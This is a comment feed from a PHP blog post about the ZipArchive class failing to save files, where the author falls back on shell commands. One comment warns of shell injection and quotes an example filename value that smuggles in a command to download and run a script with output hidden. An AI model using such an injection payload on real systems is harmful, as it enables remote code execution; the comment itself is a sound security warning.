Comments on: The annoying PHP ZipArchive class http://codingrecipes.com/the-annoying-php-ziparchive-class Wed, 08 Sep 2010 09:55:41 +0000 http://wordpress.org/?v=2.9.2 hourly 1 By: Asad Abbas http://codingrecipes.com/the-annoying-php-ziparchive-class/comment-page-1#comment-346 Asad Abbas Fri, 15 Jan 2010 06:30:38 +0000 http://blog.code-head.com/?p=664#comment-346 There are many classes for zip in http://www.phpclasses.org ... even i had this same problem ... and i used one which worked perfectly well and did the job ... plz search at the given link ... i dont remember the name exactly.. btw your blog is kool and very informative :) There are many classes for zip in http://www.phpclasses.org … even i had this same problem … and i used one which worked perfectly well and did the job … plz search at the given link … i dont remember the name exactly..

btw your blog is kool and very informative :)

]]> By: Spectrum Overdose http://codingrecipes.com/the-annoying-php-ziparchive-class/comment-page-1#comment-345 Spectrum Overdose Thu, 17 Dec 2009 10:17:11 +0000 http://blog.code-head.com/?p=664#comment-345 Same problem here. This is so annoying. And the ZipArchive status reports "No error". Same problem here. This is so annoying. And the ZipArchive status reports “No error”.

]]> By: Codehead http://codingrecipes.com/the-annoying-php-ziparchive-class/comment-page-1#comment-344 Codehead Mon, 31 Aug 2009 20:57:52 +0000 http://blog.code-head.com/?p=664#comment-344 Sadly, I didn't find a solution, I have a dedicated server so I can use system calls; I would bug the developer about this... Sadly, I didn’t find a solution, I have a dedicated server so I can use system calls; I would bug the developer about this…

]]> By: Oliver Treend http://codingrecipes.com/the-annoying-php-ziparchive-class/comment-page-1#comment-343 Oliver Treend Sat, 29 Aug 2009 22:24:30 +0000 http://blog.code-head.com/?p=664#comment-343 Did you ever get to the bottom of why you couldn't get the ZipArchive class to save? I'm having the exact same problem, and I'm tearing my hair out because I need it to work! PHP on my server isn't allowed to execute commands or system calls, so this seems to be the only solution. Thanks Did you ever get to the bottom of why you couldn’t get the ZipArchive class to save?
I’m having the exact same problem, and I’m tearing my hair out because I need it to work! PHP on my server isn’t allowed to execute commands or system calls, so this seems to be the only solution.

Thanks

]]> By: Codehead http://codingrecipes.com/the-annoying-php-ziparchive-class/comment-page-1#comment-342 Codehead Wed, 29 Jul 2009 19:03:53 +0000 http://blog.code-head.com/?p=664#comment-342 Everything in that command is generated by me and not by the user but that is right, whoever wants to use it must be careful... Everything in that command is generated by me and not by the user but that is right, whoever wants to use it must be careful…

]]> By: rbu http://codingrecipes.com/the-annoying-php-ziparchive-class/comment-page-1#comment-341 rbu Wed, 29 Jul 2009 13:18:06 +0000 http://blog.code-head.com/?p=664#comment-341 You have to make sure the filename and temp path does not contain shell meta characters. If an attacker can control, e.g., the "THE_ZIP_FILE" part, he can set it to "zz.zip /tmp ; { wget blabla ; sh ./exploit ; > /dev/null 2>&1 }; true " and you will not even see anything in the error log. You have to make sure the filename and temp path does not contain shell meta characters. If an attacker can control, e.g., the “THE_ZIP_FILE” part, he can set it to “zz.zip /tmp ; { wget blabla ; sh ./exploit ; > /dev/null 2>&1 }; true ” and you will not even see anything in the error log.

]]>